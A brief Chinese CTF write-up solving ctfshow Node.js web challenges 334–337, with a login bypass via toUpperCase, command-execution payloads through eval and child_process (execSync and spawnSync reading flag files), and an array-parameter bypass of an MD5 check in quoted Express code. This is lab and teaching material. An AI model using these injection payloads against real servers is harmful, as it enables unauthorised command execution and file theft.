ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
汤姆Tom5 小时前
Node.js 版本管理、NPM 命令、与 NVM 完全指南
前端·npm·node.js
RoyLin1 天前
TypeScript设计模式:原型模式
前端·后端·node.js
RoyLin1 天前
TypeScript设计模式:单例模式
前端·后端·node.js
RoyLin1 天前
TypeScript设计模式:工厂方法模式
前端·后端·node.js
RoyLin1 天前
TypeScript设计模式:模板方法模式
前端·后端·node.js
RoyLin2 天前
TypeScript设计模式:适配器模式
前端·后端·node.js
RoyLin2 天前
TypeScript设计模式:迭代器模式
javascript·后端·node.js
白帽黑客沐瑶2 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
前端双越老师2 天前
2025 年还有前端不会 Nodejs ?
node.js·agent·全栈
人工智能训练师3 天前
Ubuntu22.04如何安装新版本的Node.js和npm
linux·运维·前端·人工智能·ubuntu·npm·node.js